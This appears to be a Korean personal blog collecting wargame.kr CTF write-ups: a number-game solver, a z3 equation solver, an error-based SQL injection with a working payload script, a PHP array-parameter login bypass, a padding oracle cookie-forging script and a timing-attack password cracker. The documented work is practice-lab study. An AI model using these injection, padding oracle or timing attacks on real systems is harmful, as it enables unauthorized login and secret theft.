늘모자란, 개발

늘모자란, 개발


There is no vulnerability.
Just find the rules.

nc wargame.kr 10034


배스킨 라아빈스 써리~원

배스킨 라빈스 게임은 어릴적 UN의 맴버중 하나가 나와서 필승법이 있다고 예능 인터뷰때 했다고 해서 사기게임이라고 뇌리에 깊게 박혀있다.
실제로, 1:1에서는 배스킨라빈스 게임은 실수하지 않는한 먼저 하는 사람이 무조건 이기는 방법이 있다.

1:1 베스킨 라빈스를 제시하라. 단 필승법을 아는지 대충 떠 봐야한다. (그건 알아서. 귀찮아) 
먼저 시작한다면, 처음에는 1, 2를 외쳐라. 그 다음에는 [4개-상대방이 말한 갯수]만큼씩 외쳐라.

두번째 시작한다면, 어떻게든 당신이 마지막으로 외치는것이 4의 배수보다 1개 많도록 29, 25, 21, 17, 13, 9, 5개가 남도록 한다.
즉 당신이 2, 6, 10, 14, 18, 22, 26으로 끝을 내게 외쳐야 한다.

그 다음에는 마찬가지로 [4-상대갯수]를 말하면 이긴다.
출처: http://yews.tistory.com/entry/베스킨-라빈스-31-11승리전략 [생각의 화장실]


예를 들면 이런식으로 많이 나와 있다. 이런건데, 요점은 반드시 내가 말해야 하는 수가 있다는 것이다.
이런 배경지식을 가지고 시작해보자

Welcome to STITCH's baskinrobbinsN game!
Your Purpose is to win Baskin Robbins31 game from AI. 

Rule)
As you already know, it seems like real Baskin Robbins31 game. But maximum number is not 31.

ex) N=101 , count 10
It situation, You can saying up to ten at a time of number. because count is 10.
if you speaking 101 faster than AI , you lose because N is 101

you will input smaller than count...
you will input the numbers in order.

----------------------------------
hint) 
N = 31, count = 3
input your name -> ab
Hi! ab
user first!
input your number -> 1 2 3
user say -> 1 2 3
computer say -> 4 5 6
input your number -> 7
user say -> 7
computer say -> 8 9 10
input your number -> 11 12 13
user say -> 11 12 13
computer say -> 14
input your number -> 15 16
user say -> 15 16
computer say -> 17 18
input your number -> 19 20 21
user say -> 19 20 21
computer say -> 22
input your number -> 23
user say -> 23
computer say -> 24 25 26
input your number -> 27 28
user say -> 27 28
computer say -> 29 30
AI win!
----------
------------------------

**** Timeout is 150sec... ****
**** Total 31 round... ****
Good luck~




N = 2166, count = 133

input your name -> Hi! fantazm
computer first!
computer say -> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
input your number -> 


문제가 예시와 함께 잔뜩나온다. 근데 기존에 알던 배스킨게임이 아니다. 최대 수와 부를 수 있는 수자가 랜덤으로 주어진다.
사실 이 글을 쓰기전에 살짝 해봤는데 컴퓨터를 이길 수가 없다. 생각을 다시 해보기로 했다.
읽고 나니 드는 생각이 있다.

나온 문제에서 보면, 내가 불러야될 숫자는 정해져있다. 컴퓨터 턴이 되어도 절대 끝낼 수 없는 수를 불러야한다. 그럼 컴퓨터는 2164까지밖에 부를수있고, 부르더라도 나는 2165를 말하고 승리한다.

http://lg-sl.net/product/scilab/sciencestorylist/ALMA/readSciencestoryList.mvc?sciencestoryListId=ALMA2018040003&subjectId=ALL

https://blog.naver.com/jong1003min/220348353765

https://namu.wiki/w/%EB%B0%B0%EC%8A%A4%ED%82%A8%EB%9D%BC%EB%B9%88%EC%8A%A4%2031(%EA%B2%8C%EC%9E%84)

참고한 링크들을 보자. 왜 하필이면 4일까? 4가 28을 부를 수 있는 배수의 마지노선이기 때문이다. 즉.. 워게임이지만 알고리즘에 가까운 코딩문제인것 같다.

핵심은, 나머지를 구한후 필승 수열을 구하는것이다.
r = (N - 1) % (count + 1)


그리고 목표 수치도 N이 아니라 N-1을 불러야는게 핵심이다. 때문에 내가 한개 더 많이 말해야한다. (베스킨라빈스게임에서도 3까지 부를 수 있지만 4로 맞춰 말하면 이긴다)
따라서 count + 1 을 해서, 필승 수열을 만든다

solns = []
while r < N:
    solns.append(r)
    r += (count + 1)


이제 여기에 등장하는 숫자까지 맞춰서 말하면 이긴다.
코드를 다 올리는건 좀 아닌것 같고 문제 풀면서 정말 X같았던 점들만 좀 적어본다.

1. 아무리해도 이길수가 없다. 컴퓨터가 먼저 시작을 하기 때문이다. 그리고 기가 막히게도 컴퓨터는 이 필승수열의 첫번째 수를 말한다.. 진짜 한참 삽질했는데
처음에 이름을 입력받는데... 이 입력을 짝수로 하면 내가 먼저 시작하고, 홀수로 하면 컴퓨터가 먼저 시작한다. 아........ 이건 처음 수열을 만들때 0으로 시작할 경우, 일부러 컴퓨터에게 턴을 주는식으로 구현하면 된다.
2. 소켓이 짤려서 온다. 숫자가 길어지고, 정확히 1460 자 이상이 되면 개행한다. computer say -> 로 파싱하고 있다가 의문의 payload wrong을 만날 수 있는데, 게임이 시작되었고, 개행이 된채 숫자만 던졌다면 해당 숫자를 마지막으로 다시 계산해야한다

요컨데 이런식으로 온다.

computer say -> 1600 1601 1602 1603 1604 1605 1606 1607 1608 1609 1610 1611 1612 1613 1614 1615 1616 1617 1618 1619 1620 1621 1622 1623 1624 1625 1626 1627 1628 1629 1630 1631 1632 (개행)
(탭) 1633 1634 1635 1636 1637 1638 1639 1640 1641 1642 1643 1644 1645 1646 1647 1648 1649 1650 1651 1652

별도의 처리가 없으면 이때 1632를 마지막 숫자로 읽어서 시간낭비를 하게 된다.
다음과 같이 정규식으로 처리해주면 된다.

 ext = re.findall(r"^\s+((?:\d+ )*\d+)$", line)
 if len(ext):
    response = re.findall(r"^\s+((?:\d+ )*\d+)$", line)[0].split(" ")
 


socket.recv 같이 너무 작으면 개행을 막 두번씩 하기도 하니, 애초에 넉넉하게 잡고 수신해주면 좋을 것 같다.
2018/11/07 09:09 2018/11/07 09:09
wargame.kr이 새단장을 해서 보니 문제가 꽤 추가 되어 있었다.
custom OS 빼곤 다 풀었었던거 같은데... 저 문제는 아직도 잘 모르겠고, 짬을 내서 풀어보기로 한다.

먼저 시도할 문제는 plz variable 이라는 문제.

Can you find the solution quickly in polynomials? 
nc wargame.kr 10004


nc는 netcat 의 줄임말로, 간단히 데이터를 읽고 쓰는 프로그램이라고 한다.
여러 문제를 눌러보니 이제 문제를 웹에서 푸는게 아니라 저 프로그램을 이용해야 되는거 같다.
그냥 telnet을 이용해도 되는거 같은데 일단 시킨대로 nc로 연결해보았다.
그러자 문제가 나왔다.

Please match the correct answer 30 times.

Submit format -> a,b,c,d,,,(Ascending order)
Timeout = 60sec
a,b,c,d,,, is natural number
a,b,c,d,,, is 100 <= <= 1000

1th...
b * a + f + e * d - c = 491787
a * b * c - d * e + f = 359074294
e - b + a * c - d - f = 677922
d + c + e + f + a + b = 3215
a * f - c + e + b + d = 162962
a * b + c + f - e - d = 368086
Answer -> 



예 잘봤습니다. 제 점수는요.
여러번 연결해보니 나오는 변수 만큼 문제가 출력되는거 같다. polynomials. 다항식, 연립방정식이다.
그전에 내가 알파고가 아니니까 60초만에 저 문제들을 풀어낼순 없다. 코드로 문제를 받는거부터 시작이다.
딴건 없고, 그냥 소켓 연결을 생각하고 코딩을 하면 되었다.

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = ('wargame.kr',10004)
sock.connect(server_address)

data = sock.recv(1024)
print data

sock.close()


데이터 전송은 sock.send로 하면 되는거 같다. 어쨌든 잘 연결이 되었다.
이제 문제를 풀어야하는데.. python 연립방정식 따위의 키워드로 검색을 하니 몇개 나왔다. sympy 나 numpy scipy 등을 이용하면 된다고 한다.
그중에 sympy 의 solve를 많이 쓰는거같은데, 이 문제에서는 답까지 주니까 nsolve를 사용하면 될것 같았다.

우선 nsolve 를 사용하기 위해서는 어떤 알파벳이 변수로 사용되고 있는지 Symbol을 선언해주어야 했다.
그리고 이건 식입니다. 하고 명세하기 위한 Eq도 필요했다.
우리는 그리고 nsolve를 사용하기로 ...

from sympy import Symbol, Eq, nsolve


그리고 식은 정직하게 주지만 다음 문제를 보지 못했기 때문에, 수학식임을 판단하기 위해서 다음과 같이 검사했다.
각 라인이 개행되있기때문에 라인별로 정규식으로 검사했다. 좀 과한거 같긴한데 아래같이 할 필욘없다.. 여튼 이렇게 식과 답을 분리해서 넣었다.

for line in data.split('\n'):
 if "Answer" not in line and "Submit format" not in line and re.match(r"[a-zA-Z]",line) != None and re.match(r"^(-?\d+)$",line) == None and re.search(r"[()\\*+-]", line) != None:
 eq.append(re.findall(r"(.+?) \=",line)[0].replace("\t"," "))
 answ.append(int(re.findall(r"\=\s(.+)",line)[0]))


사용되는 변수들은 중복을 제거해 Symbol 로 선언해주기 위해 다음과 같이 했다.

list(set(re.findall(r"[a-z]","".join(eq))))


이제 list 세개를 모두 확보했기때문에 nsovle에 넣고 돌림 되겠지 하고 돌렸는데 에러가 났다-_-
Eq로 list를 하나하나 해줘도 Symbol 이 변수명으로 선언되지 않으면 돌아가질 않았다. 즉 요렇게

a = Symbol('a')


허미.. 이게 몇개나 나올줄 알고 심볼을 선언해주나. exec를 쓰면 된다.

exec("{0} = Symbol('{1}')".format(name, str(name)))


이런 느낌으로 돌려주면 선언된다. Eq도 똑같이 해줬는데 그래도 안된다.
그래서 찾아보니, (e1,e2,e3,e4) / (x,y,z) 이런식으로 기재는 하는데 내가 만든 리스트는 ('e1','e2','e3') ('x','y','z') 처럼 문자열같이 되있었다.
하아.. eval 도 해주기로 했다.

for i,j,k in zip(exps, symbols,answ):
 epack = "{},{}".format(epack,i)
 spack = "{},{}".format(spack,j)
 apack = "{},{}".format(apack,k)

epack = "("+epack[1:]+")"
spack = "("+spack[1:]+")"
apack = "("+apack[1:]+")"


이후 nsolve에 eval(epack) 이런식으로 실행했다. 안된다.
코드상 문제는 없는거 같은데 단순히 값을 꾸겨넣는정도로는 안되나보다. matrix 가 0이니, divisionZero 에러니 뭐 별에 별 에러가 나와서 그냥 때려쳤다. solve도 써보고 뭐 다른 방법도 여러개 해봤는데 안됨.
그러다가 내가 못찾은 다른 solver가 있는건 아닐까 싶어 찾아보다가 z3라는 solver를 찾게 되었다.

z3는 리버싱때 많이 쓴다고 한다. 주소 계산같은데 활용되는거 같다. 어쨌든 z3라는 무기를 다시 확보했으니, 풀어보자.

먼저 Solver 라고 문제 풀이 머신을 하나 추가해줘야한다.

import z3 as z
s = z.Solver()


이런느낌이다. 그리고 조건들을 추가해줘야하는데, 수식에서 = 를 ==로 변환해서 넣어주어야 한다.
그리고 100보다 크고, 1000보다 작은 수이기때문에 조건을 입력해주어야한다. 아니면 시간이 너무 오래걸리거나 중간에 퍼지는 경우가 생긴다.
또한, 위에서 Symbol 을 선언해주었던것 처럼 eval 로 Int 임도 먼저 선언해주어야 한다. 그러면..

for i in variables:
 exec("{} = z.Int('{}')".format(i,i))
 s.add(eval("{} >= 100".format(eval(i))))
 s.add(eval("{} <= 1000".format(eval(i))))

이런 느낌이 된다. 그리고 수식을 = 를 변환해주어서 추가해준다.

for i in exps:
 s.add(eval(i.replace("=","==")))


이러고 문제 해결을 위해 다음과 같이 해준다.

s.check()
result = s.model()



여기서 내가 헷갈렸던건,
Submit format -> a,b,c,d,,,(Ascending order)
이부분인데, 아.. 나는 값을 정렬하라는줄 알았는데 그게 아니라 key 이름대로 정렬해서 출력하는것이다. 진짜 풀이에 문제가 있는줄 알고 한참헤맸다..
새로운 라이브러리를 알게 되니 뭔가 강력한 무기를 갖춘 느낌이다. 플래그를 보니 정답이었던것 같다.

2018/10/31 15:41 2018/10/31 15:41
아마 wargame.kr의 마지막 웹 문제 아닐까?

무려 1300점짜리의 error based sqli 문제라고 한다.

<?php
 if (isset($_GET['view-source'])) {
     show_source(__FILE__);
     exit();
 }
 include("./inc.php"); // database connect.
 include("../lib.php"); // include for auth_code function.

 ini_set('display_errors',false);

 function err($str){ die("<script>alert(\"$str\");window.location.href='./';</script>"); }
 function uniq($data){ return md5($data.uniqid());}
 function make_id($id){ return mysql_query("insert into all_user_accounts values (null,'$id','".uniq($id)."','guest@nothing.null',2)");}
 function counting($id){ return mysql_query("insert into login_count values (null,'$id','".time()."')");}
 function pw_change($id) { return mysql_query("update all_user_accounts set ps='".uniq($id)."' where user_id='$id'"); }
 function count_init($id) { return mysql_query("delete from login_count where id='$id'"); }
 function t_table($id) { return mysql_query("create temporary table t_user as select * from all_user_accounts where user_id='$id'"); };

 if(empty($_POST['id']) || empty($_POST['pw']) || empty($_POST['type'])){
  err("Parameter Error :: missing");
 }

 $id=mysql_real_escape_string($_POST['id']);
 $ps=mysql_real_escape_string($_POST['pw']);
 $type=mysql_real_escape_string($_POST['type']);
 $ip=$_SERVER['REMOTE_ADDR'];

 sleep(2); // not Bruteforcing!!

 if($id!=$ip){
  err("SECURITY : u can access with allotted id only");
 }

 $row=mysql_fetch_array(mysql_query("select 1 from all_user_accounts where user_id='$id'"));
 if($row[0]!=1){
  if(false === make_id($id)){
   err("DB Error :: create user error");
  }
 }
 
 $row=mysql_fetch_array(mysql_query("select count(*) from login_count where id='$id'"));
 $log_count = (int)$row[0];
 if($log_count >= 4){
  pw_change($id);
  count_init($id);
  err("SECURITY : bruteforcing detected - password is changed");
 }
 
 t_table($id); // don`t access the other account

 if(preg_match("/all_user_accounts/i",$type)){
  err("SECURITY : don`t access the other account");
 }

 counting($id); // limiting number of query

 if(false === $result=mysql_query("select * from t_user where user_id='$id' and ps='$ps' and type=$type")){
  err("DB Error :: ".mysql_error());
 }

 $row=mysql_fetch_array($result);
 
 if(empty($row['user_id'])){
  err("Login Error :: not found your `user_id` or `password`");
 }

 echo "welcome <b>$id</b> !! (Login count = $log_count)";
 
 $row=mysql_fetch_array(mysql_query("select ps from t_user where user_id='$id' and ps='$ps'"));

 //patched 04.22.2015
 if (empty($ps)) err("DB Error :: data not found..");

 if($row['ps']==$ps){ echo "<h2>wow! auth key is : ".auth_code("counting query")."</h2>"; }

?>


PHP 에러는 display_errors 가 false이므로 나오지 않을것이고,
err는 자바스크립트로 나오게 될 것 같다. 파라미터 id,pw,type은 반드시 필요하고..

id = ip 는 고정값으로 피할 수 없어보인다. ps는 답을 입력하는 칸으로 보이니 자연스럽게 type이나 ps를 이용해 공격을 해야될 것으로 보인다.
mysql_real_escape_string 되어 있으니 특문도 전부 이스케이프 처리되어 쓸 수 없을 것이다. 그리고 zairo처럼 로그인카운트를 세는데, 4번이 넘어가면 패스워드를 바꿔 버린다. 여기를 피해갈 방법은 딱히 안보인다.

훑어보면
false === $result=mysql_query("select * from t_user where user_id='$id' and ps='$ps' and type=$type"


이부분이 문제다. 쿼리가 esacape되고 있는 가운데 ''로 처리 안되있으니 type이 공격포인트인거 같다.
그래서 이런식으로 꾸며서 보냈더니 에러가 반환되었다.

type = urllib.quote("1; select ps from t_user")


<script>alert("DB Error :: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'select ps from t_user' at line 1");window.location.href='./';</script>


몇차례 더 해봤는데 정확히 틀린부분만 날아온다.
이 상태에서 좀 바꿔서 날려봤는데, 에러가 값을 출력하는 공격을 수행해야 된다고 한다.
링크에 따르면 예시 공격법이 있다. floor등을 사용해야 된다는데 잘 이해가 안되지만 일단 그대로 따라해보기로한다.

mysql> select sum(5),concat(version(),floor(rand(0)*2))as a from information_schema.tables;
+--------+---------+
| sum(5) | a       |
+--------+---------+
|   4970 | 5.7.170 |
+--------+---------+
1 row in set (0.01 sec)

mysql> select sum(5),concat(version(),floor(rand(0)*2))as a from information_schema.tables group by a;
ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'

옛날 adm1nkjy 였나 kjy 였나 여튼 그걸 풀때랑 비슷한 것 같다. 요점은 같은걸 만들어야 된다는것 같으니 비슷하게 쿼리를 짜보기로 한다.
타게팅할 테이블과 컬럼은 이미 알고있는 상태니까 (t_user와 ps) 그렇게 꾸겨넣어보기로 하자

type = urllib.quote("1 or (select sum(5),concat(ps,floor(rand(0)*2))as a from information_schema.tables group by a limit 1)")


그랬더니 에러가 다르게 나타났다.

<script>alert("DB Error :: Operand should contain 1 column(s)");window.location.href='./';</script>


찾아보니 부정확한 수의 컬럼이 리턴될때 발생한단다.
쭉 나열해보면

select ps from t_user where user_id='$id' and ps='$ps' and type=1 or (select count(*),concat(ps,floor(rand(0)*2))as a from information_schema.tables group by a limit 1) 


인건데.. count(*)가 있으니 컬럼이 두개가 되버리는 모양같아 sum(5), 를 제거 했더니 

<script>alert("Login Error :: not found your `user_id` or `password`");window.location.href='./';</script>


가 리턴된다. 그러니까, 저 친구는 필요한 친구인가보다..
그럼 하나를 자르던가 늘리던가 해야되는데 너무 막연해서 구글 검색중에 이런걸 발견했다.

select * from users where (SELECT * from users)=(1,2);


적는와중에도 무슨 뜻인줄 모르겠다. 어쨌든, 1,2 를 하니까 같은 에러가 나와서 1,1 과 0,1를 적었을때 같은 값을 얻을 수 있었다.

<script>alert("DB Error :: Duplicate entry '8d4b1b72abc78cd8226cb44168eff3df1' for key 'group_key'");window.location.href='./';</script>


띠용.. 뭔가 나왔다. ps를 넣고 다했다고 생각했는데 이게 왠일? 안된다.
몇번이고 해봐도 안된다. 가만 생각해보니 인포메이션 스키마에서 긁어봐야 원하는 값이 나올리가 없다고 생각해서, 테이블을 t_user 로 바꿨다가도 해보고, login_count 테이블로 바꿔서 시도를 해봤더니,

임시 테이블은 다시 열수 없다와,
다음과 같이 login count를 세는 친구가 나타났다

welcome <b></b> !! (Login count = 0)


하지만 에러를 일으킨게 어느 시점인지 알수가 없었다. 그냥 돌리다보니 막 나와서 종잡을수가 없었는데..
여러가지 시도를 계속 해보았다. 너무 삽질의 연속이었으니까 패스하고..

번외
이 문제는 error based 공격과 무관하게 이 공격방법에 의해 깨어질 수 있었다
pw를 0으로 보내고, 배열을 만들어 검사를 회피하면된다. 아주 간단히 공격이 성공하는 취약점(-_-)이 있었다
요컨데

id=[USERIP]&ps[]=0&type=2 or 1=1


이런식으로 보내면 ps의 검사에 있어 empty값을 비교하기때문에 일치해 문제를 패스할 수 있다
하지만 이 구문에 의해 패치되었다.

 //patched 04.22.2015
 if (empty($ps)) err("DB Error :: data not found..");


PHP는 배열로 POST값을 넘기는것을 허용하고 있기때문에, 반드시 2차적인 처리가 필요함을 명시하는 문제이다 (이 문제에서 얻을 교훈은 아닌가?)

======

2017.05.19

좀 삽질이 많았으나 위는 그냥 과정이고, 문제를 다시 정리하면 우리에겐 3번의 기회가 있고 4번째는 리셋이다

왜 이걸 간과했는지는 잘 모르겠으나.. error based 공격은 두개의 결과가 같이 나타난다. 즉, ps로 나오는 값은 ps가 아니라, count(*) 의 값도 포함하고 있다는 것이다. 즉, 맨뒤의 1은 ps 그냥 count(*) 된 값으로 제거해야 되는 값이었다 ㅡㅡ

다음은 해결 소스... 

#!/usr/bin/env python
# -*- coding: utf8 -*-
import urllib, urllib2, time

headers = {'Host': 'wargame.kr:8080'}

id = "Your IP"
pw = urllib.quote("12345")
type = "1 or (row(1,1) > (select count(*),concat(ps,floor(rand(0)*2))as a from login_count where id=0x{} group by a order by 2)) # ".format(id.encode('hex'))
#type = "1 or (user_id=0x{}) #".format(id.encode('hex'))
pw = urllib.quote("884afd94b647d1436b7e188eb1fbe58f")
data = "id={0}&pw={1}&type={2}".format(id, pw, type)

print data
req = urllib2.Request("http://wargame.kr:8080/counting_query/login_ok.php", data, headers)
response = urllib2.urlopen(req)
res = response.read()
print res


요점은, duplicate 가 일어난 시점에서 가장 뒤의 1을 제거 해주고, type을 그대로 쓰는게 아니라 어드민의 1을 적어주고 아이디를 넣어줘서 정상적인 리퀘스트로 보내야 문제 풀이가 완료된다. 풀고나니 참 허망한 문제로다....

길다 길었어
welcome <b></b> !! (Login count = 3)<h2>wow! auth key is : 3977b3304f38461ce31c67c4d9a208e836814db6</h2>
2016/06/22 05:02 2016/06/22 05:02
Do you know about "padding oracle vulnerability" ?


들어가면 로그인창 하나 있고 소스도 뭐도 없다. guest로 로그인하면 admin으로 로그인하라고 한다.
그리고 L0g1n 이라는 쿠키가 생성된다. 얘는 로그인할때마다 값이 바뀌고, base64화되어있는데 풀어보면 거진 깨진 문자이다.
그래서 쿠키를 1 이라고 편집한 후에 main페이지를 호출했더니 아니 글쎄 invalid iv라고 나온다.

몇번 돌려보니 이런 꼴임을 알 수 있었는데

fKSI1AtTKdE=6t9sghWo8KE=
/e0oQKDo2u0=giMFpLfrwh0=


두개의 base64가 합쳐진듯했고 풀어보니 풀어진다. 유추해보기로 id, pw 가 붙어있는듯 보인다.
base64를 좀 다르게 보내보니 padding error라고 값이 리턴되고, 2바이트를 빼니 invalid iv 라고 나온다.
즉, base64 decode 한 후에 인코드해서 얻을 수 있는 hex코드는 16자리 전부 iv에 쓰이고 있다는 것이다


문제를 어떻게 풀어야되는지 이제 감이 잡히니 검색질을 할 시간이다.

padding oracle attack을 검색하면 뭔가 잔뜩 나오지만 한글로된 문서가 별로 없었다. 그래도 하나 있었다. 세상은 살만해..
(좀 계속찾아보니 중복되는 자료가 많았다. padbuster 이런식으로 검색해도 닿을 수 있다. 실제 취약점이 있는 페이지는 padbuster에 의해 무참히 박살 날 수 있다. 굉장한 취약점이니 꼭 점검하자)

PDF를 같이 열어놓고 차근차근 따라가보자.
먼저, 만들어진 문자열과 시도하려는 문자열을 생각해보자.

guest로 로그인했을때 만들어진값은 당연히 guest라는 문자열을 사용했을 것이다.
헌데 이녀석은 8자가 안된다. 따라서 padding이 진행되어

g u e s t 0x3 0x3 0x3 로 시도되었을 것이다. 이로 미루어보아 admin도
a d m i n 0x3 0x3 0x3 의 형태로 쿠키를 만들어주면 될 것이다.

먼저 intermediary value 를 알아내야한다. 그래서 코드를 짜야하고...
(이렇게 담담하게 적지만 몇시간에 걸친 굉장한 삽질을 했다. 한숨만 나온다 ...........)
알아낸 이후에 XOR후 키를 만들어내면된다.

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, base64

def mkcookie(value):
    ret_str = ""
    ret_str += urllib.quote(base64.b64encode(value[:len(value)/2].decode('hex')))
    ret_str += urllib.quote(base64.b64encode(value[len(value)/2:].decode('hex')))
    return ret_str

def xor(data, offset):
    tmp = ""
    for i in range(0, len(data), 2):
        tmp += str(hex(int(data[i:i+2], 16) ^ offset).split('x')[1]).zfill(2)
    return tmp

cookie_id = "Ya4iK7+8SKA="
cookie_pw = "rixnqH9n7NA="
imtermediary = ""
payload = ""
decrypt = ''


session = "Ya4iK7+8SKA%3D rixnqH9n7NA%3D"
sess = cookie_id.decode('base64').encode('hex') + cookie_pw.decode('base64').encode('hex')


for i in range(1,9):
    for j in xrange(0x00, 0xff):
        hexa = format(j, 'X')
        tmp = str(hexa + xor(imtermediary, i)).zfill(16)
        payload = mkcookie(tmp + sess[len(sess)/2:])

        headers = {'Host': 'wargame.kr:8080', 'Cookie': "L0g1n={}".format(payload)}
        req = urllib2.Request("http://wargame.kr:8080/dun_worry_about_the_vase/main.php", '', headers)
        response = urllib2.urlopen(req)
        res = response.read()
        if "padding error" not in res:
            imtermediary = str(xor(hexa, i)).zfill(2) + imtermediary
            print "[!]", imtermediary , tmp
            break

imtermediary = "06db4758cbbf4ba3"

for i in range(0, len(imtermediary), 2):
    decrypt = decrypt + chr(int(imtermediary[i:i+2],16) ^ int(sess[i:i+2],16))

payload = ''
for i in range(0, len(imtermediary), 2):
    payload += str(hex(int(imtermediary[i:i+2],16) ^ int("admin".encode('hex')+decrypt[5:].encode('hex')[i:i+2],16)).split('x')[1]).zfill(2)


payload = mkcookie(payload + sess[len(sess)/2:])
headers = {'Host': 'wargame.kr:8080', 'Cookie': "L0g1n={}".format(payload)}
req = urllib2.Request("http://wargame.kr:8080/dun_worry_about_the_vase/main.php", '', headers)
response = urllib2.urlopen(req)
res = response.read()
print res


도움을 이곳에서 가장 많이 받았다.
이곳의 글은 간단하지만 핵심이긴하다. 근데 너무 핵심만 있어서 엄청나게 헤맸다..... 현기증난다.
2016/06/22 05:02 2016/06/22 05:02
시간이 오래 걸린다고 시작부터 겁을 준다

<?php
 if (isset($_GET['view-source'])) {
     show_source(__FILE__);
    exit();
 }
 include("../lib.php"); // include for auth_code function.

 //ini_set("display_errors", true);

 $password=auth_code("pw crack");
 $dest = $_SERVER['REMOTE_ADDR'];
 $port = 31337;
 $data="";

 $sock = @fsockopen($dest,$port,$errno,$errstr,10);
 if(!$sock){die("IP : $dest<br />port : $port<br /><h2>Connection Error</h2><br /><br />Please, open your port!");}
 fwrite($sock,"password : ");
 for($i=0;$i<40;$i++){
  $c=fgetc($sock);
  if(ord($c)==0 || ord($c) == 10){ break; }
  $data.=$c;
 }
 fclose($sock);
 
 for($i=0;$i<40;$i++){
  sleep(2);
  if($data[$i]!=$password[$i]){
   die("wrong password!");
   break;
  }
 }
 echo "<script> alert('congratulation!! that`s auth key!!'); </script>";


대강 소스를 보면 40자로 패스워드를 만들고 소켓을 닫고, sleep(2) .. 그니까 한자리 맞출때마다 디폴트2초, 맞추면 4초가 걸리게 되는 셈이다
time based 공격을 해본적이 있으니까 응용해보자. 근데 대놓고 코딩을 하라는 문제는 없었기 때문에 각오를 좀 다지고...

일단 31337 을 listen 하는 간이서버를 하나 만들자.

python tcp서버는 대강 이렇게 생겼는데

#!/usr/bin/python
 
from socket import *
from time import ctime 
 
HOST = ''
PORT = 31337
BUFSIZ = 1024
ADDR = (HOST, PORT)
 
tcpSerSock = socket(AF_INET, SOCK_STREAM)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5) 
 
while True:
    tcpCliSock, addr = tcpSerSock.accept()
    print 'Connected from:', addr
    
    while True:
        data = tcpCliSock.recv(BUFSIZ)

    tcpCliSock.close()
tcpSerSock.close()


호스트 상관없이 포트만 열고 냄새를 맡겠다는 전략이다. 이렇게 하면 다음과 같이 출력된다

password :


recv한 데이터가 저게 끝이다. 이제 서버로 내가 의도한 비밀번호를 보내주면 될터..
우린 무려 서버를 완성했기때문에 50% 이상 벌써 달성한것이다.

비밀번호를 보내서 2초 이상 걸리면 성공, 실패하면 2초니까 자리수마다 체크해야한다.
즉, 첫자리에서 성공하면 2초 이상, 둘째도 맞으면 4초, 그다음맞으면 6초... 하지만 갑자기 2초가 나오면 그친구는 틀린.. 코드가 생각만해도 복잡할거 같다.

나는 처음에 생각하기로 이건 되게 쉬울것 같다라고 생각했는데 그게 아니었다. 영구적인 서버를 하나 열어놓고 계속 보내면 될줄알았는데 만만의 콩떡이다. 상대는 PHP. 한번쏘고 연결이 끊어진다. 즉, 지속적 통신을 하고 있는게 아니다. php 페이지를 일일히 콜을 해서 내 서버로 1회 요청을 해야하고, 해당 request 가 끝나는 시간을 재야한다.

고로 내 소스는 계속 포트를 열어놓을 필요도 없고, 보내고 포트를 닫아버려도 된다는 말이다.
동시에, 두개의 작업을 해야한다. 서버 열고, 홈페이지 열어주고, 그사이에 시간재고. 즉, 쓰레드를 사용해야 된다는 소리이다


이런 느낌이다

import time
import threading
def hello():
    x = 0 
    while x < 100000000:
        pass
        x += 1
start = time.clock()
t = threading.Thread(target = hello, args = ())
t.start() 
t.join()
end = time.clock()
print "The time was {}".format(end - start)


뭐 조인까지는 필요없겠지만, 쓰레드에서 함수를 호출하고 끝나는 시간을 재줘야 한다. 이런식으로 만들어보자.
아까 만든 서버는 그냥 켜놓고, 다른 소스를 만들어서

def game_request():
    req = urllib2.Request("http://wargame.kr:8080/pw_crack/check.php")
    response = urllib2.urlopen(req)

start = time.clock()
t = threading.Thread(target = game_request, args = ())
t.start()
t.join()
end = time.clock()
print "The time was {}".format(end - start)


돌려보면,

The time was 2.02440399267
[Finished in 2.2s]


2초만에 끝났단걸 알 수 있다. 따로 값을 보내지 않아도 무조건 2초는 쉬기때문에..
대강 이해가 됐을테니 쓰레드를 넣어서 코드를 구현해보자. 일단은 프로토타입이다.

#!/usr/bin/python

import urllib2
from socket import *
import time
import threading
 
def serv(i):
    HOST = ''
    PORT = 31337
    BUFSIZ = 1024
    ADDR = (HOST, PORT)
     
    tcpSerSock = socket(AF_INET, SOCK_STREAM)
    tcpSerSock.bind(ADDR)
    tcpSerSock.listen(5)

    tcpCliSock, addr = tcpSerSock.accept()
    tcpCliSock.send(chr(i))
    data = tcpCliSock.recv(BUFSIZ)

    tcpCliSock.close()
    tcpSerSock.close()


def game_request():
    req = urllib2.Request("http://wargame.kr:8080/pw_crack/check.php")
    response = urllib2.urlopen(req)



for i in range(32,128):
    
    t = threading.Thread(target = game_request, args = ())
    t.start()

    start = time.clock()
    t1 = threading.Thread(target = serv(i), args = ())
    t1.start()
    end = time.clock()

    t1.join()
    t.join()

    print "Trying {} for time :: {}".format(chr(i),end - start)



위에 충실히 설명한것을 구현한 코드이다. 이걸 요대로 돌리면.. 32,128은 아스키코드 범위이다.

Trying   for time :: 2.02322761968
Trying ! for time :: 2.01210221619
Trying " for time :: 2.01438766471
Trying # for time :: 2.01621868877
Trying $ for time :: 2.01269823184
Trying % for time :: 2.01177938825
Trying & for time :: 2.01511927476
Trying ' for time :: 2.01405883997
Trying ( for time :: 2.01229044919
Trying ) for time :: 2.01229178181
Trying * for time :: 2.0135081335
Trying + for time :: 2.01389692627
Trying , for time :: 2.01464952514
Trying - for time :: 2.01391724877
Trying . for time :: 2.01377632389
Trying / for time :: 2.01210188303
Trying 0 for time :: 2.01470449584
Trying 1 for time :: 2.01273188057
Trying 2 for time :: 2.01311334392
Trying 3 for time :: 2.01269523344
Trying 4 for time :: 4.01362840273
Trying 5 for time :: 2.01312433806
Trying 6 for time :: 2.01345649436



여기까지 돌리고 멈췄다. 유난히 튀는 녀석이 하나 있는데 그것은 바로 4. 우리는 첫자리가 이제 4임을 알게 되었다.
플래그는 총 40자리이므로 이런식으로 40자리를 찾아주면된다. 단, 자리수마다 2초씩 올라가니까 정말 오래 걸릴것이다.
그래서 좀 극단적으로, 이렇게 올리는걸 설마 특문까지 다 넣겠나 싶어서 숫자와 소문자, 대문자만 넣어서 돌리기로 했다. 특문은 솔직히 좀..
